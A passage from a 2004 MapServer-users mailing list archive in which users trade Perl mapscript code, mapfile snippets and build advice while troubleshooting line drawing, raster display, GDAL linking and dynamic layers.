points. my %points =3D ( 10202 =3D> {'longitude' =3D> -67.0173, 'latitude' =3D> 44.8911, }, 20103 =3D> {'longitude' =3D> -66.0146, 'latitude' =3D> 45.2045, }, ); my $image_name =3D sprintf("%0.10d",rand(1000000000)) . ".png"; # see points.map my $map =3D new mapscript::mapObj("lines.map"); if(!$map){ warn "New mapObj() error: $mapscript::ms_error->{message}\n"; } # Create a point object representing the mouse click on the map. my ($x, $y) =3D get_click($q, $map); my $click_pt =3D undef; if($x !=3D 0 && $y !=3D 0){ $click_pt =3D new mapscript::pointObj(); $click_pt->{x} =3D $x; $click_pt->{y} =3D $y; } my $img =3D $map->draw(); if(!$img){ warn "prepareImage() error: $mapscript::ms_error->{message}\n"; } my $layerObj =3D undef; $layerObj =3D $map->getLayerByName('lines'); my $point =3D new mapscript::pointObj(); my $point2 =3D new mapscript::pointObj(); $point2->{x} =3D $points{20103}{longitude}; $point2->{y} =3D $points{20103}{latitude}; $point->{x} =3D $points{10202}{longitude}; $point->{y} =3D $points{10202}{latitude}; my $line =3D new mapscript::lineObj(); $line->add($point); $line->add($point2); my $shp =3D new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); $shp->add($line); # this doesn't work $shp->{text} =3D "line"; my $ret =3D $shp->draw($map, $layerObj, $img); # display the click point if($click_pt){ $layerObj =3D $map->getLayerByName('click'); $click_pt->draw($map, $layerObj, $img, undef, "Click"); } $map->drawLabelCache($img); $img->saveImage($image_name, $mapscript::MS_PNG, $map->{transparent}, $map-= >{interlace}, 0); $img->free(); # Output the HTML form and map print $q->header(); print $q->start_html(-title=3D>'MapServer - Dynamic Line', -bgcolor=3D>"#ff= ffff"); print "\n= "; print "\n"; print "\n"; print "\n"; print "\n"; print "
\n"; print "\n"; print "
\n"; print "\n"; print "$msg
\n"; print " Start over
\n"; print "




\n"; print $q->end_html(); # translate mouse click x,y into map longitude, latitude based on map exten= t. This is based on set_extent() in # mapquakes.pl sub get_click { my ($q, $map) =3D @_; my ($x, $y, $cx, $cy) =3D (0,0,0,0); my $minx =3D $map->{extent}->{minx}; my $miny =3D $map->{extent}->{miny}; my $maxx =3D $map->{extent}->{maxx}; my $maxy =3D $map->{extent}->{maxy}; if($q->param('img.x')) { # Make sure we got a click $x =3D $q->param('img.x'); $y =3D $q->param('img.y'); $cx =3D ($maxx-$minx)/($map->{width}-1); # calculate cellsize in x and y $cy =3D ($maxy-$miny)/($map->{height}-1); $x =3D $minx + $cx*$x; # change x,y from image to map coordinates $y =3D $maxy - $cy*$y; }=20 return ($x, $y); } --=-yKal72uLUmmo/itZBUVV Content-Disposition: attachment; filename=lines.map Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; name=lines.map; charset=ISO-8859-15 MAP STATUS ON EXTENT -71.5 39.5 -63.0 46.0 SIZE 504 385 IMAGETYPE PNG UNITS DD SYMBOL TYPE ELLIPSE NAME "circle" POINTS 1 1 END FILLED TRUE END SYMBOL TYPE VECTOR NAME "plus" POINTS .5 0 .5 1 -99 -99 0 .5 1 .5 END END=20 LAYER NAME "lines" TYPE LINE STATUS ON TEMPLATE "bogus.html" CLASS COLOR 255 0 0 SIZE 5 END END LAYER NAME "click" TYPE POINT STATUS ON CLASS NAME "click" SYMBOL "plus" SIZE 6 COLOR 0 0 0 LABEL TYPE BITMAP SIZE TINY COLOR 0 0 0 POSITION AUTO PARTIALS FALSE BUFFER 1 END END END END --=-yKal72uLUmmo/itZBUVV-- From pvandyke at kib.co.kodiak.ak.us Tue Mar 30 09:50:08 2004 From: pvandyke at kib.co.kodiak.ak.us (Paul VanDyke) Date: Tue, 30 Mar 2004 08:50:08 -0900 Subject: [Mapserver-users] Newbie Question about rasters Message-ID: Ok, I've tried copying the .jpw to .wld. I've tried the absolute path. I've tried copying the .jpw to .wld and the absolute path. Does anyone have a "small" tiff and .map file I can try on my server? Also, is there a good reference that talks about the different types of raster files. In the meantime, I'll re-read the raster howto. Thanks, Paul -----Original Message----- From: Ed McNierney [mailto:ed at topozone.com] Sent: Friday, March 26, 2004 5:45 PM To: Paul VanDyke Cc: mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Newbie Question about rasters Paul - (btw, please always reply to the full list, so everyone hears the answers) You don't see TIFF or JPG input, and that's good, actually, because you're using GDAL input which will have JPEG support built in. If the previous suggestion for an absolute path doesn't fix it, try copying the ak.jgw file to ak.wld. Although the GDAL docs say it supports both, I thought that only .wld was supported (could be old news - I haven't used JPEGs in MapServer in a few years). - Ed Ed McNierney President and Chief Mapmaker TopoZone.com From jeff at propertykey.com Tue Mar 30 09:57:27 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 30 Mar 2004 11:57:27 -0600 Subject: [Mapserver-users] drawing lines with mapscript In-Reply-To: <1080666070.1895.76.camel@ubet.gomoos.org> References: <40689411.2070101@propertykey.com> <1080598399.1856.21.camel@ubet.gomoos.org> <40698AB4.9080906@propertykey.com> <1080666070.1895.76.camel@ubet.gomoos.org> Message-ID: <4069B507.804@propertykey.com> Eric Bridger wrote: > On Tue, 2004-03-30 at 09:56, Jeff Hoffmann wrote: > >>Eric Bridger wrote: >> >>>On Mon, 2004-03-29 at 16:24, Jeff Hoffmann wrote: >>> >>> >>>>I'm trying to create lines programmatically & draw them using mapscript, >>>>but I just can't seem to get any output. It doesn't throw any errors, >>>>but I don't see any output, either. >>>>$layer = $map->getLayerByName('line_layer'); >>>>$layer->{status} = 1; >>>>$class = $layer->getClass(0); >>>>$class->setText($layer,"LINE"); >>>>my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); >>>>$shape->add($line); >>> >>> >>>Just a guess, but you could try $shape->setBounds() here. >>> >>> >>> >>>>$shape->draw($map, $layer, $img); >> >>That didn't change anything. Does anybody at least know if this looks >>like it should be working? Are there any examples of code that does >>this sort of thing? > > > This should work. I had never used $shape->draw() so I modified a test > script I had and it worked fine. I could not get $shape->{text} = "XX" > to work. You haven't shown your $line creation. Perhaps your > coordinates are off. Thanks for trying to help me through this. I'm sure that the line has points that fall in the map I'm drawing. I've hard-coded one line in there that should draw a line from corner to corner, but still nothing shows up. $shape->draw(...) returns 0, but I don't know if that means "error" or "no error", the documentation just says it returns an integer. ---------------------------------- $layer = $map->getLayerByName('line_layer'); $layer->{status} = 1; $class = $layer->getClass(0); my $linePoint1 = new mapscript::pointObj(); $linePoint1->{x} = 272048; $linePoint1->{y} = 199772; my $linePoint2 = new mapscript::pointObj(); $linePoint2->{x} = 272450; $linePoint2->{y} = 200074; my $line = new mapscript::lineObj(); $line->add($linePoint1); $line->add($linePoint2); $class->setText($layer,"LINE"); my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); $shape->add($line); $shape->draw($map, $layer, $img); ---------------------------------- LAYER NAME "line_layer" STATUS ON PROJECTION "init=epsg:26958" END TYPE LINE CLASS LABEL ANGLE AUTO FONT arial TYPE TRUETYPE POSITION UC SIZE 7 COLOR 0 0 0 END COLOR 0 0 0 SIZE 10 END END -- Jeff Hoffmann PropertyKey.com From warmerdam at pobox.com Tue Mar 30 10:05:59 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 30 Mar 2004 13:05:59 -0500 Subject: [Mapserver-users] Problems compiling mapserv with OGR support. In-Reply-To: <406988C0.7070402@idems.fr> References: <406988C0.7070402@idems.fr> Message-ID: <4069B707.6030301@pobox.com> Sebastien Vincent wrote: > Hello everybody :) > > First excuse me for my english, I'm french :) > > I'm trying to enable OGR support for mapserv, so I'm trying to compile > it as follow : > [root at nostalgia mapserver-4.0.1]# ./configure > --with-ogr=../gdal-1.2.0b/apps/gdal-config \ > --with-gdal=../gdal-1.2.0b/apps/gdal-config > [root at nostalgia mapserver-4.0.1]# make > > But i've lots of errors durring make (configure scripts works fine) : > >> [root at nostalgia mapserver-4.0.1]# make >> gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_TIFF >> -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT >> -DUSE_GDAL -I/usr/include >> -I/root/applications/mapserver/gdal-1.2.0/root/applications/mapserver/gdal-1.2.0b/b/port >> -I/root/applications/mapserver/gdal-1.2.0b/gcore >> -I/root/applications/mapserver/gdal-1.2.0b/alg >> -I/root/applications/mapserver/gdal-1.2.0b/ogr >> -I/root/applications/mapserver/gdal-1.2.0b/ogr/ogrsf_frmts >> shp2img.o -L. -lmap -lgd -L/usr/lib -lgd -ljpeg -lfreetype -lpng >> -lz -ltiff -ljpeg -lfreetype -lpng -lz -ljpeg -lm >> -lstdc++ -o shp2img >> ./libmap.a(mapgdal.o)(.text+0x11): In function `msGDALInitialize': >> : undefined reference to `GDALAllRegister' >> ./libmap.a(mapgdal.o)(.text+0x19): In function `msGDALInitialize': >> : undefined reference to `CPLQuietErrorHandler' >> ./libmap.a(mapgdal.o)(.text+0x1e): In function `msGDALInitialize': >> : undefined reference to `CPLPushErrorHandler' Sebastien, It seems the GDAL library was not included in your link line. You can likely just edit MapServer's Makefile and set set the GDAL_LIB something like: GDAL_LIB=-L/root/applications/mapserver/gdal-1.2.0b -lgdal More generally, there were some problems with GDAL 1.2.0 with the output of the gdal-config command that sits "within the build". One approach to work around this might be to install GDAL into a tree somewhere (ie. make install). It might also be helpful to see what gdal reports if you do: gdal-config --libs Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From TMitchell at lignum.com Tue Mar 30 10:32:11 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 30 Mar 2004 10:32:11 -0800 Subject: [Mapserver-users] 5-second survey re: your platform Message-ID: Due to the popularity of a poll last week about who uses MapServer (http://www.misterpoll.com/results.mpl?id=3583485412), I thought I'd put together another one together. Register your 5-second vote about what operating system(s) you have MapServer running on: http://www.misterpoll.com/1468971032.html Tyler p.s. Based on last week's poll us GIS Analysts are outnumbered by Web Developers! :) From Amy.Stender at erdc.usace.army.mil Tue Mar 30 11:23:12 2004 From: Amy.Stender at erdc.usace.army.mil (Stender, Amy ERDC-CRREL-NH) Date: Tue, 30 Mar 2004 13:23:12 -0600 Subject: [Mapserver-users] dynamic legend: overlay causes red default color? Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C4168B.2849B1C0 Content-Type: text/plain I'm using a dynamic legend and it's showing all my lines as red, even though I've classed them as different colors in the mapfile. This only seems to be a problem when I use OVERLAY-. The "under" color is always red and the "over" color shows up as whatever color is defined in the layer's first class. Has this happened to anyone else? Is it a bug? Thanks. Amy L. Stender Remote Sensing/GIS Center Cold Regions Research and Engineering Laboratory United States Army Corps of Engineers 72 Lyme Road, Hanover, NH 03755-1290 Tel:(603)646-4733 Fax:(603) 646-4730 Amy.Stender at erdc.usace.army.mil ------_=_NextPart_001_01C4168B.2849B1C0 Content-Type: text/html Message
I'm using a dynamic legend and it's showing all my lines as red, even though I've classed them as different colors in the mapfile. This only seems to be a problem when I use OVERLAY-. The "under" color is always red and the "over" color shows up as whatever color is defined in the layer's first class. Has this happened to anyone else? Is it a bug?
 
Thanks.
 
 
Amy L. Stender
Remote Sensing/GIS Center
Cold Regions Research and Engineering Laboratory
United States Army Corps of Engineers
72 Lyme Road, Hanover, NH 03755-1290
Tel:(603)646-4733  Fax:(603) 646-4730
Amy.Stender at erdc.usace.army.mil
 
------_=_NextPart_001_01C4168B.2849B1C0-- From jorge.arocha at armada.mil.co Tue Mar 30 11:16:58 2004 From: jorge.arocha at armada.mil.co (TN Jorge Alberto Arocha =?ISO-8859-1?Q?Mu=F1oz?=) Date: 30 Mar 2004 14:16:58 -0500 Subject: [Mapserver-users] Raster problem. Message-ID: <1080674218.4614.18.camel@caliope.armada.mil.co> --=-M2afNHh0JAwIFUsPbz9h Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Hi list: I have linux box RedHat 9.0 and mapserver 4.0.1 installed: [jdisin at caliope cgi-bin]$ ./mapserv -v MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE When try display raster layer (with tutorial's map file example1-5.map or personal map file, attach map files), in the browser obtain the next message: Server error! The server encountered an internal error and was unable to complete your request. Error message: Premature end of script headers: mapserv If you think this is a server error, please contact the webmaster Error 500 localhost mar 30 mar 2004 12:51:33 COT Apache/2.0.40 (Red Hat Linux) Any idea? thanks..... -- TN Arocha Mu??oz Jorge Alberto -- TN Jorge Alberto Arocha Mu??oz --=-M2afNHh0JAwIFUsPbz9h Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit Hi list:

I have linux box RedHat 9.0 and mapserver 4.0.1 installed:

[jdisin at caliope cgi-bin]$ ./mapserv -v
MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE

When try display raster layer (with tutorial's map file example1-5.map or personal map file, attach map files), in the browser obtain the next message:

Server error!
The server encountered an internal error and was unable to complete your request.

Error message:
Premature end of script headers: mapserv

If you think this is a server error, please contact the webmaster

Error 500


localhost
mar 30 mar 2004 12:51:33 COT
Apache/2.0.40 (Red Hat Linux)
Any idea? thanks.....
--
TN Arocha Muñoz Jorge Alberto <jdisin at armada.mil.co>

--
TN Jorge Alberto Arocha Muñoz <jorge.arocha at armada.mil.co>
--=-M2afNHh0JAwIFUsPbz9h-- From Ken.Boss at dnr.state.mn.us Tue Mar 30 12:28:36 2004 From: Ken.Boss at dnr.state.mn.us (Ken Boss) Date: Tue, 30 Mar 2004 14:28:36 -0600 Subject: [Mapserver-users] reducing RGB maps to 8bit Message-ID: Jan-- Hope I'm not catching you after a full week's worth of coding on this; didn't see your message until a couple days ago, and then I needed to confirm with the software vendor that this was in fact possible. Anyway, Image Alchemy from Handmade Software, Inc., has this functionality built in (-L option on the command line). You run the software once with your list of images as input, and it generates a file containing the optimized palette for those images. Then you batch up a process to transform them all to 8bit, using the palette you generated in the first step. Image Alchemy is a relatively inexpensive commercial software product that runs on any OS you're likely to be using; I've been using it for years on both Solaris and Windows and have been very happy with it. You can learn more at www.handmadesw.com. Note that I am not affiliated with Handmade Software in any way, other than being a satisfied customer. --Ken >>> Jan Hartmann 3/23/2004 3:53:30 AM >>> Hi, Not a specific MapServer question, but I guess there are people on this list who know something about this. I have about 600 historical cadastral maps dating from about 1830. They have been scanned as 24bits jpg files, and each map is about 4000*4000 pixels. To display them efficiently with MapServer I need to transform them to 8bit, all in the same palette. Colors on the different maps don't match exactly, due to two centuries of wear and tear The question is: does anyone know a way to compute some sort of optimal colormap for this amount of data, something like "imagemagick -display" or the gdal-utility "rgb2pct.py", not for a single file, but for a large set of images. There is some literature about it, e.g. "comp.graphics.algorithms 3.02" and "graphics gems", but before I start programming myself, perhaps someone knows an easier way. Thanks, Jan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jeff at propertykey.com Tue Mar 30 12:47:35 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 30 Mar 2004 14:47:35 -0600 Subject: [Mapserver-users] drawing lines with mapscript In-Reply-To: <1080671343.1521.89.camel@ubet.gomoos.org> References: <40689411.2070101@propertykey.com> <1080598399.1856.21.camel@ubet.gomoos.org > <40698AB4.9080906@propertykey.com> <1080666070.1895.76.camel@ubet.gomoos.org> <4069B507.804@propertykey.com> <1080671343.1521.89.camel@ubet.gomoos.org> Message-ID: <4069DCE7.8060803@propertykey.com> Eric Bridger wrote: > $shape->draw() might put an error message there. Unfortunately, it didn't. The "$class->setText()" seems to be looking for a symbol named "LINE" & threw an error. I thought it would print the text "LINE" along the line, so I'm apparently wrong there. Once I commented that line out, though, it didn't give me any other errors. And I've tried turning off TRANSFORM but that didn't help me any, either. > > BTW, if you're running mapscript.pm and CGI.pm, the script I sent > should work on any web server, did you try it? I tried. It looks like you're using an older version of mapscript (I'm using 4.0.1) and the $img->saveImage() function changed, so I had to change that, but I'm not getting a line on that either. I'm stumped now. -- Jeff Hoffmann PropertyKey.com From TMitchell at lignum.com Tue Mar 30 13:18:53 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Tue, 30 Mar 2004 13:18:53 -0800 Subject: [Mapserver-users] Raster problem. In-Reply-To: <1080674218.4614.18.camel@caliope.armada.mil.co> Message-ID: Did it work before you tried a raster layer? Can you try using the shp2img command and see if it can handle it. Let us know if you need more help. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 03/30/2004 11:16:58 AM: > Hi list: > > I have linux box RedHat 9.0 and mapserver 4.0.1 installed: > > [jdisin at caliope cgi-bin]$ ./mapserv -v > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF > INPUT=EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > When try display raster layer (with tutorial's map file example1-5. > map or personal map file, attach map files), in the browser obtain > the next message: > > Server error! > The server encountered an internal error and was unable to complete > your request. > > Error message: > Premature end of script headers: mapserv > > If you think this is a server error, please contact the webmaster > > Error 500 > > localhost > mar 30 mar 2004 12:51:33 COT > Apache/2.0.40 (Red Hat Linux) > Any idea? thanks..... > > -- > TN Arocha Mu?oz Jorge Alberto > > -- > TN Jorge Alberto Arocha Mu?oz From jeff at propertykey.com Tue Mar 30 13:19:30 2004 From: jeff at propertykey.com (Jeff Hoffmann) Date: Tue, 30 Mar 2004 15:19:30 -0600 Subject: [Mapserver-users] drawing lines with mapscript - SOLVED In-Reply-To: <4069DCE7.8060803@propertykey.com> References: <40689411.2070101@propertykey.com> <1080598399.1856.21.camel@ubet.gomoos.org > <40698AB4.9080906@propertykey.com> <1080666070.1895.76.camel@ubet.gomoos.org> <4069B507.804@propertykey.com> <1080671343.1521.89.camel@ubet.gomoos.org> <4069DCE7.8060803@propertykey.com> Message-ID: <4069E462.3070703@propertykey.com> Jeff Hoffmann wrote: > I'm stumped now. Here's a lesson: if all else fails, cruise around Bugzilla for a while & you might figure out what the problem is. For anyone interested, the resolution is in bug #495. It turns out my class definition in the map file needed a style section (even if it is empty). Once I added that, things started falling into place. Here's a working example for anybody's future reference: --------------------------------- $layer = $map->getLayerByName('line_layer'); $layer->{status} = 1; my $linePoint1 = new mapscript::pointObj(); $linePoint1->{x} = 272048; $linePoint1->{y} = 199772; my $linePoint2 = new mapscript::pointObj(); $linePoint2->{x} = 272450; $linePoint2->{y} = 200074; my $line = new mapscript::lineObj(); $line->add($linePoint1); $line->add($linePoint2); my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); $shape->add($line); $shape->{text} = "LINE TEXT"; $shape->draw($map, $layer, $img); ---------------------------------- LAYER NAME "line_layer" STATUS ON PROJECTION "init=epsg:26958" END TYPE LINE CLASS STYLE END LABEL ANGLE AUTO FONT arial TYPE TRUETYPE POSITION UC SIZE 7 COLOR 0 0 0 END COLOR 0 0 0 SIZE 10 END END -- Jeff Hoffmann PropertyKey.com From jwwilhit at srpnet.com Tue Mar 30 13:48:16 2004 From: jwwilhit at srpnet.com (WILHITE JASON W) Date: Tue, 30 Mar 2004 14:48:16 -0700 Subject: [Mapserver-users] Adding Dynamic layers in Mapscript 4.0.1 Perl Message-ID: <25D4A9F614A1964BA08A67C4FB9D3DF30109A122@srpexc2.srp.gov> This is a multi-part message in MIME format. ------_=_NextPart_001_01C416A0.B5451853 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable OK...Obviously I'm missing something here. I am trying to migrate from ms3.6 to ms4.0 and I am having some issues. Specifically as it relates to adding dynamic layers to a mapfile. =20 The perl script isn't crashing but the dynamic layer that I'm adding isn't showing up and I'm not sure why. Here is the small piece of test code that I'm using. =20 print "\nHello Starting test!\n"; my $mapFileName =3D "./simpleGauge.map"; my $pngFileName =3D "./rawMSTest.png"; my $showPNG =3D 1; my ( $xMin, $xMax, $yMin, $yMax ) =3D (-112.39, -111.39, 33.20, 33.62); =20 my $bgMap =3D new mapscript::mapObj( $mapFileName ); $bgMap->{width} =3D 600; =20 $bgMap->{height} =3D 600; =20 my $warnLayer =3D new mapscript::layerObj( $bgMap ); $warnLayer->{group} =3D "Geographical"; $warnLayer->{name} =3D "NWS Warning Layer"; $warnLayer->{type} =3D $mapscript::MS_LAYER_POLYGON; $warnLayer->{status} =3D $mapscript::MS_ON; $warnLayer->{data} =3D "/disk2/hydromet/shapefiles/nwsZonesSRP.shp"; $warnLayer->{transparency} =3D 80; =20 print "------------------ \$warnLayer :DEBUG ------------------------\n"; print "\t\$warnLayer->{name} =3D $warnLayer->{name}\n"; print "\t\$warnLayer->{group} =3D $warnLayer->{group}\n"; print "\t\$warnLayer->{type} =3D $warnLayer->{type}\n"; print "\t\$warnLayer->{status} =3D $warnLayer->{status}\n"; =20 print "\t\$warnLayer->{data} =3D $warnLayer->{data}\n"; print "\t\$warnLayer->{transparency} =3D $warnLayer->{transparency}\n"; print "\tNumber of classes in $warnLayer->{name} =3D ".$warnLayer->{numclasses}."\n"; print "--------------------------------------------------------------\n"; =20 =20 my $tclass =3D new mapscript::classObj( $warnLayer ); $tclass->{name} =3D "Dynamic Class"; $tclass->{status} =3D $mapscript::MS_ON; $tclass->{styles}->{symbol} =3D 1; $tclass->{styles}->{outlinecolor}->{red} =3D 250; $tclass->{styles}->{outlinecolor}->{green} =3D 0; $tclass->{styles}->{outlinecolor}->{blue} =3D 0; $tclass->{styles}->{color}->{red} =3D 0; $tclass->{styles}->{color}->{green} =3D 250; $tclass->{styles}->{color}->{blue} =3D 0; =20 print "------------------ \$tclass :DEBUG------------------------\n"; print "\t\$tclass->{name} =3D $tclass->{name}\n"; print "\t\$tclass =3D $tclass\n"; print "\t\$tclass->{status} =3D $tclass->{status}\n"; print "\t\$tclass->{styles}->{symbol} =3D = $tclass->{styles}->{symbol}\n"; print "\t\$tclass->{styles} =3D $tclass->{styles}\n"; print "\t\$tclass->{styles}->{color} =3D $tclass->{styles}->{color}\n"; print "\t\tred =3D $tclass->{styles}->{color}->{red} : green =3D $tclass->{styles}->{color}->{green} : blue =3D $tclass->{styles}->{color }->{blue}\n"; print "\t\$tclass->{styles}->{outlinecolor} =3D $tclass->{styles}->{outlinecolor}\n"; print "\t\tred =3D $tclass->{styles}->{outlinecolor}->{red} : green =3D $tclass->{styles}->{outlinecolor}->{green} : blue =3D $tclass->{styles}->{outlinecolor}->{blue}\n"; #print "\tThe expression for this class =3D ".$tclass->getExpressionString()."\n"; print "\tNumber of classes in $warnLayer->{name} =3D ".$warnLayer->{numclasses}."\n"; =20 print "--------------------------------------------------------\n"; =20 =20 print "Drawing Image\n"; my $imageObj =3D $bgMap->draw(); print "Done drawing image\n"; =20 `rm -f $pngFileName`; my $image_url =3D $imageObj->save( $pngFileName ); =20 if ($showPNG) { print "\nee'ing image file $pngFileName\n"; `ee $pngFileName`; } =20 =20 print "\nAll done!\n"; =20 =20 The static members of the map file are showing up just fine but not the dynamic layer. I have a feeling it might be a problem with the color assignments but for the life of me I can't figure it out. =20 Does anyone have any ideas? =20 Thank you, -Jason ------_=_NextPart_001_01C416A0.B5451853 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable

OK…Obviously I’m missing something = here.  I am trying to migrate from ms3.6 to ms4.0 and I am having some issues.  Specifically as it relates to adding dynamic layers to a = mapfile.

 

The perl script isn’t crashing but the dynamic = layer that I’m adding isn’t showing up and I’m not sure = why.  Here is the small piece of test code that I’m = using.

 

print "\nHello Starting = test!\n";

my $mapFileName =3D = "./simpleGauge.map";

my $pngFileName =3D = "./rawMSTest.png";

my $showPNG =3D 1;

my ( $xMin, $xMax, $yMin, $yMax ) =3D (-112.39, = -111.39, 33.20, 33.62);

 

my $bgMap =3D new mapscript::mapObj( $mapFileName = );

$bgMap->{width} =            =3D = 600; 

$bgMap->{height} =           =3D = 600;

 

my $warnLayer =3D new mapscript::layerObj( $bgMap = );

$warnLayer->{group}     &n= bsp; =3D "Geographical";

$warnLayer->{name}       = =3D "NWS Warning Layer";

$warnLayer->{type} =        =3D = $mapscript::MS_LAYER_POLYGON;

$warnLayer->{status}      =3D = $mapscript::MS_ON;

$warnLayer->{data}     &nb= sp;  =3D "/disk2/hydromet/shapefiles/nwsZonesSRP.shp";=

$warnLayer->{transparency} =3D = 80;

 

print "------------------ \$warnLayer :DEBUG ------------------------\n";

print "\t\$warnLayer->{name} = =3D    = $warnLayer->{name}\n";

print "\t\$warnLayer->{group} = =3D    = $warnLayer->{group}\n";

print "\t\$warnLayer->{type} = =3D      = $warnLayer->{type}\n";

print "\t\$warnLayer->{status} =3D $warnLayer->{status}\n";   =

print "\t\$warnLayer->{data} = =3D      = $warnLayer->{data}\n";

print "\t\$warnLayer->{transparency} =3D $warnLayer->{transparency}\n";

print "\tNumber of classes in = $warnLayer->{name} =3D ".$warnLayer->{numclasses}."\n";

print "--------------------------------------------------------------\n&qu= ot;;

 

 

my $tclass =3D new mapscript::classObj( $warnLayer = );

$tclass->{name} =3D "Dynamic = Class";

$tclass->{status} =3D = $mapscript::MS_ON;

$tclass->{styles}->{symbol} =3D = 1;

$tclass->{styles}->{outlinecolor}->{red} =3D = 250;

$tclass->{styles}->{outlinecolor}->{green} = =3D 0;

$tclass->{styles}->{outlinecolor}->{blue} = =3D 0;

$tclass->{styles}->{color}->{red} =3D = 0;

$tclass->{styles}->{color}->{green} =3D = 250;

$tclass->{styles}->{color}->{blue} =3D = 0;

 

print "------------------ \$tclass :DEBUG------------------------\n";

print "\t\$tclass->{name} =3D $tclass->{name}\n";

print "\t\$tclass =3D = $tclass\n";

print "\t\$tclass->{status} =3D $tclass->{status}\n";

print "\t\$tclass->{styles}->{symbol} =3D $tclass->{styles}->{symbol}\n";

print "\t\$tclass->{styles} =3D $tclass->{styles}\n";

print "\t\$tclass->{styles}->{color} =3D $tclass->{styles}->{color}\n";

print "\t\tred =3D $tclass->{styles}->{color}->{red} : green =3D $tclass->{styles}->{color}->{green} : blue =3D $tclass->{styles}->{color = }->{blue}\n";

print = "\t\$tclass->{styles}->{outlinecolor} =3D $tclass->{styles}->{outlinecolor}\n";=

print "\t\tred =3D $tclass->{styles}->{outlinecolor}->{red} : green =3D $tclass->{styles}->{outlinecolor}->{green} : blue =3D $tclass->{styles}->{outlinecolor}->{blue}\n";

#print "\tThe expression for this class =3D ".$tclass->getExpressionString()."\n";

print "\tNumber of classes in = $warnLayer->{name} =3D ".$warnLayer->{numclasses}."\n";

 

print "--------------------------------------------------------\n";

 

 

print "Drawing = Image\n";

my $imageObj =3D = $bgMap->draw();

print "Done drawing = image\n";

 

`rm -f $pngFileName`;

my $image_url =3D $imageObj->save( $pngFileName = );

 

if ($showPNG) {

         =    print "\nee'ing image file $pngFileName\n";

         =    `ee $pngFileName`;

}

 

 

print "\nAll = done!\n";

 

 

The static members of the map file are showing up = just fine but not the dynamic layer.  I have a feeling it might be a problem = with the color assignments but for the life of me I can’t figure it = out.

 

Does anyone have any = ideas?

 

Thank you,

-Jason

------_=_NextPart_001_01C416A0.B5451853-- From bob.basques at ci.stpaul.mn.us Tue Mar 30 14:04:18 2004 From: bob.basques at ci.stpaul.mn.us (Bob Basques) Date: Tue, 30 Mar 2004 16:04:18 -0600 Subject: [Mapserver-users] FILTER, how to . . . {repost} In-Reply-To: <40666489.1020405@ci.stpaul.mn.us> References: <40666489.1020405@ci.stpaul.mn.us> Message-ID: <4069EEE2.4040407@ci.stpaul.mn.us> blammo wrote: > All, > > I have this which works fine for a single name (city) lookup via the URL: > > LAYER > NAME cshed_ci > DATA '../data_points/lshed_ci_blkcentr' > STATUS DEFAULT > TYPE POINT > FILTERITEM W_NAME > FILTER '%city%' > CLASS > NAME ' 1 - 5 workers' > EXPRESSION ([H_WORKERS] <= 5) > SYMBOL 'circle' > SIZE 3 > OUTLINECOLOR 0 0 0 > COLOR 204 255 255 > END > CLASS . . . . . . . . . > > Question, how can I send in multiple filter items via the CITY= > parameter in the URL request? Using something like below didn't match anything in the DBF, some sort of "and/or" clause would need to be used somehow. Maybe it's the aspect of an undefined list length. the number of Cities would be variable for example. > > CITY=MAPLEWOOD and SAINT PAUL and ROSEVILLE and > > will multiple CITY= work as seperate filters, like this: I tried a coupe of things from above, the Multiple city= didn't affect anything, seems like the first one in the URL took precedence. > > CITY=MAPLEWOOD&CITY=SAINT+PAUL&CITY=ROSEVILLE . . . . I'm still putzing with it. bobb _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Tue Mar 30 14:09:03 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 30 Mar 2004 17:09:03 -0500 Subject: [Mapserver-users] dynamic legend: overlay causes red default color? In-Reply-To: References: Message-ID: <4069EFFF.8020602@dmsolutions.ca> Stender, Amy ERDC-CRREL-NH wrote: > I'm using a dynamic legend and it's showing all my lines as red, even > though I've classed them as different colors in the mapfile. This only > seems to be a problem when I use OVERLAY-. The "under" color is always > red and the "over" color shows up 